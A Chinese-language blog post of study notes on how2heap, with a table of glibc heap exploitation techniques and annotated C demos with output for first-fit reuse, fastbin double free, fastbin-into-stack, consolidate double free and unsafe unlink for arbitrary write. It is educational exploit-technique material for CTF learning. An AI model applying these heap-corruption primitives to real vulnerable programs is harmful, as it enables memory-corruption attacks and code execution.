how2heap学习

File Technique Glibc-Version Applicable CTF Challenges
first_fit.c Demonstrating glibc malloc’s first-fit behavior.
fastbin_dup.c Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist.
fastbin_dup_into_stack.c Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. latest 9447-search-engine, 0ctf 2017-babyheap
fastbin_dup_consolidate.c Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and unsorted bin freelist. latest Hitcon 2016 SleepyHolder
unsafe_unlink.c Exploiting free on a corrupted chunk to get arbitrary write. < 2.26 HITCON CTF 2014-stkof, Insomni’hack 2017-Wheel of Robots
house_of_spirit.c Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. latest hack.lu CTF 2014-OREO
poison_null_byte.c Exploiting a single null byte overflow. < 2.26 PlaidCTF 2015-plaiddb
house_of_lore.c Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. < 2.26
overlapping_chunks.c Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk < 2.26 hack.lu CTF 2015-bookstore, Nuit du Hack 2016-night-deamonic-heap
overlapping_chunks_2.c Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk latest
house_of_force.c Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer latest Boston Key Party 2016-cookbook, BCTF 2016-bcloud
unsorted_bin_into_stack.c Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer. < 2.26
unsorted_bin_attack.c Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address < 2.26 0ctf 2016-zerostorage
large_bin_attack.c Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address < 2.26 0ctf 2018-heapstorm2
house_of_einherjar.c Exploiting a single null byte overflow to trick malloc into returning a controlled pointer < 2.26 Seccon 2016-tinypad
house_of_orange.c Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution < 2.26 Hitcon 2016 houseoforange
tcache_dup.c Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. > 2.25
tcache_poisoning.c Tricking malloc into returning a completely arbitrary pointer by abusing the tcache freelist. > 2.25
tcache_house_of_spirit.c Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. > 2.25

first_fit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	fprintf(stderr, "这个源文件不演示攻击，只是演示正常的glibc's allocator.\n");
	fprintf(stderr, "glibc使用first-fit算法来选择一个空闲块(free chunk)。\n");
	fprintf(stderr, "如果一个空闲块(free chunk)且足够大，malloc将选择这个块。\n");
	fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

	fprintf(stderr, "分配2个buffers.它们可以很大，不必是fastbin。\n");
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;

	fprintf(stderr, "1st malloc(512): %p\n", a);
	fprintf(stderr, "2nd malloc(256): %p\n", b);
	fprintf(stderr, "我们可以在这里继续mallocing ...\n");
	fprintf(stderr, "现在让我们把一个字符串放在我们稍后可读的buffer上\"this is A!\"\n");
	strcpy(a, "this is A!");
	fprintf(stderr, "第一次分配的 %p 指向 %s\n", a, a);

	fprintf(stderr, "free掉 a buffer...\n");
	free(a);

	fprintf(stderr, "我们不需要再free任何东西。现在只要我们malloc少于512，最终将会指向 %p\n", a);

	fprintf(stderr, "现在让我们分配 500 bytes\n");
	c = malloc(500);
	fprintf(stderr, "3rd malloc(500): %p\n", c);
	fprintf(stderr, "并在这里放一个不同的字符串, \"this is C!\"\n");
	strcpy(c, "this is C!");
	fprintf(stderr, "第三次分配的 %p 指向 %s\n", c, c);
	fprintf(stderr, "第一次分配的 %p 指向 %s\n", a, a);
	fprintf(stderr, "如果我们重用第一个分配，那么它现在保存来自第三个分配的数据。\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
output:
这个源文件不演示攻击，只是演示正常的glibc's allocator.
glibc使用first-fit算法来选择一个空闲块(free chunk)。
如果一个空闲块(free chunk)且足够大，malloc将选择这个块。
This can be exploited in a use-after-free situation.
分配2个buffers.它们可以很大，不必是fastbin。
1st malloc(512): 0xfc1010
2nd malloc(256): 0xfc1220
我们可以在这里继续mallocing ...
现在让我们把一个字符串放在我们稍后可读的buffer上"this is A!"
第一次分配的 0xfc1010 指向 this is A!
free掉 a buffer...
我们不需要再free任何东西。现在只要我们malloc少于512，最终将会指向 0xfc1010
现在让我们分配 500 bytes
3rd malloc(500): 0xfc1010
并在这里放一个不同的字符串, "this is C!"
第三次分配的 0xfc1010 指向 this is C!
第一次分配的 0xfc1010 指向 this is C!
如果我们重用第一个分配，那么它现在保存来自第三个分配的数据。

—————————————————————————————————————————————————

fastbin_dup.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "此文件演示使用fastbins的简单 double-free 攻击\n");

	fprintf(stderr, "分配3个buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "free掉第一个buffer--(a)\n");
	free(a);

	fprintf(stderr, "如果我们现在再次free %p,程序就会崩溃因为 %p 在free list的顶部\n", a, a);
	// free(a);

	fprintf(stderr, "所以我们free掉 %p\n", b);
	free(b);

	fprintf(stderr, "现在我们可以再次free %p, 因为它不是free list的头\n", a);
	free(a);

	fprintf(stderr, "现在我们得到的free list是 [ %p, %p, %p ]. 如果我们现在malloc三次,我们能malloc到 %p 两次!\n", a, b, a, a);
	fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
output:
此文件演示使用fastbins的简单 double-free 攻击
分配3个buffers.
1st malloc(8): 0x1a4a010
2nd malloc(8): 0x1a4a030
3rd malloc(8): 0x1a4a050
free掉第一个buffer--(a)
如果我们现在再次free 0x1a4a010,程序就会崩溃因为 0x1a4a010 在free list的顶部
所以我们free掉 0x1a4a030
现在我们可以再次free 0x1a4a010, 因为它不是free list的头。
现在我们得到的free list是 [ 0x1a4a010, 0x1a4a030, 0x1a4a010  ] 如果我们现在malloc三次,我们能malloc到 0x1a4a010 两次!
1st malloc(8): 0x1a4a010
2nd malloc(8): 0x1a4a030
3rd malloc(8): 0x1a4a010

—————————————————————————————————————————————————

fastbin_dup_into_stack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "这个文件是fastbin_dup.c的扩展，通过欺骗malloc\n"
	       "返回一个指向受控位置的指针（在本例中为堆栈）。\n");

	unsigned long long stack_var;

	fprintf(stderr, "我们让malloc()返回 %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "分配3个buffer\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "free掉第一个buffer--(a)\n");
	free(a);

	fprintf(stderr, "如果我们现在再次free %p,程序就会崩溃因为 %p 在free list的顶部\n", a, a);
	// free(a);

	fprintf(stderr, "所以我们free掉 %p\n", b);
	free(b);

	fprintf(stderr, "现在我们可以再次free %p, 因为它不是free list的头\n", a);
	free(a);

	fprintf(stderr, "现在我们得到free list [ %p, %p, %p ] "
		"我们现在通过修改 %p 的数据来执行攻击\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "现在得free list [ %p ].\n", a);
	fprintf(stderr, "现在，我们可以访问 %p，同时它仍然是free list的头部。\n"
		"所以现在我们正在写入一个假的free size (在这里是 0x20) 到栈上\n"
		"所以malloc会认为那里有一个free chunk\n"
		"并return一个指向 %p 的指针\n", a, 8+(char *)&stack_var);
	stack_var = 0x20;

	fprintf(stderr, "现在，我们将 %p 处的数据的前8个字节覆盖在0x20之前\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, 将栈地址放到free list中\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
output:
这个文件是fastbin_dup.c的扩展，通过欺骗malloc
返回一个指向受控位置的指针（在本例中为堆栈）
我们让malloc()返回 0x7ffd09e37068
分配3个buffer
1st malloc(8): 0x1801010
2nd malloc(8): 0x1801030
3rd malloc(8): 0x1801050
free掉第一个buffer--(a)
如果我们现在再次free 0x1801010,程序就会崩溃因为 0x1801010 在free list的顶部
所以我们free掉 0x1801030
现在我们可以再次free 0x1801010, 因为它不是free list的头
现在我们得到free list [ 0x1801010, 0x1801030, 0x1801010  ] 我们现在通过修改 0x1801010 的数据来执行攻击
1st malloc(8): 0x1801010
2nd malloc(8): 0x1801030
现在得free list [ 0x1801010  ].
现在，我们可以访问 0x1801010，同时它仍然是free list的头部。
所以现在我们正在写入一个假的free size (在这里是 0x20) 到栈上
所以malloc会认为那里有一个free chunk
并return一个指向 0x7ffd09e37068 的指针
现在，我们将 0x1801010 处的数据的前8个字节覆盖在0x20之前
3rd malloc(8): 0x1801010, 将栈地址放到free list中
4th malloc(8): 0x7ffd09e37068

fastbin_dup_consolidate.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "分配两个fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "free掉 p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "分配large bin来触发malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "在 malloc_consolidate() 中, p1 被放到 unsorted bin.\n");
  free(p1);
  fprintf(stderr, "触发double free漏洞\n");
  fprintf(stderr, "我们能pass malloc()的检查，因为p1不是fast top\n");
  fprintf(stderr, "现在 p1 在 unsorted bin 和 fast bin中. 所以我们能分配到 p1 两次: %p %p\n", malloc(0x40), malloc(0x40));
}
1
2
3
4
5
6
7
8
output:
分配两个fastbins: p1=0x250a010 p2=0x250a060
free掉 p1!
分配large bin来触发malloc_consolidate(): p3=0x250a0b0
在 malloc_consolidate() 中, p1 被放到 unsorted bin.
触发double free漏洞
我们能pass malloc()的检查，因为p1不是fast top
现在p1在 unsorted bin 和 fast bin中. 所以我们能分配到p1两次: 0x250a010 0x250a010
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
	fprintf(stderr, "欢迎来到 unsafe unlink 2.0!\n");
	fprintf(stderr, "实验进行的环境：Ubuntu 14.04/16.04 64bit.\n");
	fprintf(stderr, "此技术仅适用于glibc的禁用tcache-option的情况, 请参阅build_glibc.sh以获取构建说明。\n");
	fprintf(stderr, "该技术用于当你拥有一个已知位置的指针指向一个可以调用 unlink 的区域时\n");
	fprintf(stderr, "最常见的情况是易受攻击的缓冲区，可以溢出并控制全局指针。\n");

	int malloc_size = 0x80; //足够大，不使用fastbins
	int header_size = 2;

	fprintf(stderr, "这个练习是使用free来破坏全局指针chunk0_ptr来实现任意内存写入。\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	fprintf(stderr, "chunk0_ptr 位于 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
	fprintf(stderr, "我们要破坏的chunk是 %p\n\n", chunk1_ptr);

	fprintf(stderr, "我现在创建一个假chuck在chunk0里.\n");
	fprintf(stderr, "我们设置假chuck的'next_free_chunk' (fd) 指向 &chunk0_ptr 附近 以便满足 P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	fprintf(stderr, "我们设置假chuck的 'previous_free_chunk' (bk) 指向 &chunk0_ptr  附近 以便满足 P->bk->fd = P.\n");
	fprintf(stderr, "这样设置，我们就可以绕过这个检查：(P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	//fprintf(stderr, "我们需要确保假 chunk 的 'size' 与下一块的 'previous_size' (chunk+size)匹配\n");
	//fprintf(stderr, "通过此设置，我们可以通过此检查： (chunksize(P) != prev_size (next_chunk(P)) == False\n");
	//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
	//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
	//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
	//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
	//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
	//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
	//chunk0_ptr[1] = sizeof(size_t);
	//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
	//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

	fprintf(stderr, "我们假设 chunk0 中有溢出，以便我们可以自由地更改 chunk1 的元数据。\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	fprintf(stderr, "我们缩小了 chunk0 的大小 (在 chunk1 中保存为 'previous_size') 这样 free 就会认为 chunk0 从我们放置假 chunk 的地方开始。\n");
	fprintf(stderr, "重要的是，我们的假 chunk 正好从已知指针指向的地方开始，并且我们相应地收缩 chunk 。\n");
	chunk1_hdr[0] = malloc_size;
	fprintf(stderr, "如果我们正常释放 chunk0，chunk1.previous_size 将为0x90，但它现在为： %p\n",(void*)chunk1_hdr[0]);
	fprintf(stderr, "我们将 chunk1 的 'previous_in_use' 设置为 False，将我们的假 chunk 标记为free。\n\n");
	chunk1_hdr[1] &= ~1;

	fprintf(stderr, "现在我们 free 掉 chunk1 以便向后整合 unlink 我们的假 chunk，覆盖chunk0_ptr。\n");
	fprintf(stderr, "您可以在 https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344 中找到 unlink 宏的来源\n\n");
	free(chunk1_ptr);

	fprintf(stderr, "此时，我们可以使用 chunk0_ptr 覆盖自身，以指向任意位置。\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置，我们用它来覆盖我们的字符串。\n");
	fprintf(stderr, "原本的值为： %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	fprintf(stderr, "被修改后： %s\n",victim_string);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
output:
欢迎来到 unsafe unlink 2.0!
实验进行的环境：Ubuntu 14.04/16.04 64bit.
此技术仅适用于glibc的禁用tcache-option的情况, 请参阅build_glibc.sh以获取构建说明。
该技术用于当你拥有一个已知位置的指针指向一个可以调用 unlink 的区域时
最常见的情况是易受攻击的缓冲区，可以溢出并控制全局指针。
这个练习是使用free来破坏全局指针chunk0_ptr来实现任意内存写入。

chunk0_ptr 位于 0x602070, 指向 0xacb010
我们要破坏的chunk是 0xacb0a0

我现在创建一个假chuck在chunk0里.
我们设置假chuck的'next_free_chunk' (fd) 指向 &chunk0_ptr 附近 以便满足 P->fd->bk = P.
我们设置假chuck的 'previous_free_chunk' (bk) 指向 &chunk0_ptr  附近 以便满足 P->bk->fd = P.
这样设置，我们就可以绕过这个检查：(P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x602058
Fake chunk bk: 0x602060

我们假设 chunk0 中有溢出，以便我们可以自由地更改 chunk1 的元数据。
我们缩小了 chunk0 的大小 (在 chunk1 中保存为 'previous_size') 这样 free 就会认为 chunk0 从我们放置假 chunk 的地方开始。
重要的是，我们的假 chunk 正好从已知指针指向的地方开始，并且我们相应地收缩 chunk 。
如果我们正常释放 chunk0，chunk1.previous_size 将为0x90，但它现在为： 0x80
我们将 chunk1 的 'previous_in_use' 设置为 False，将我们的假 chunk 标记为free。

现在我们 free 掉 chunk1 以便向后整合 unlink 我们的假 chunk，覆盖chunk0_ptr。
您可以在 https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344 中找到 unlink 宏的来源

此时，我们可以使用 chunk0_ptr 覆盖自身，以指向任意位置。
chunk0_ptr 现在指向我们想要的位置，我们用它来覆盖我们的字符串。
原本的值为： Hello!~
被修改后： BBBBAAAA���

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

没技术，没钱，没长相，只有一颗疲惫不堪的心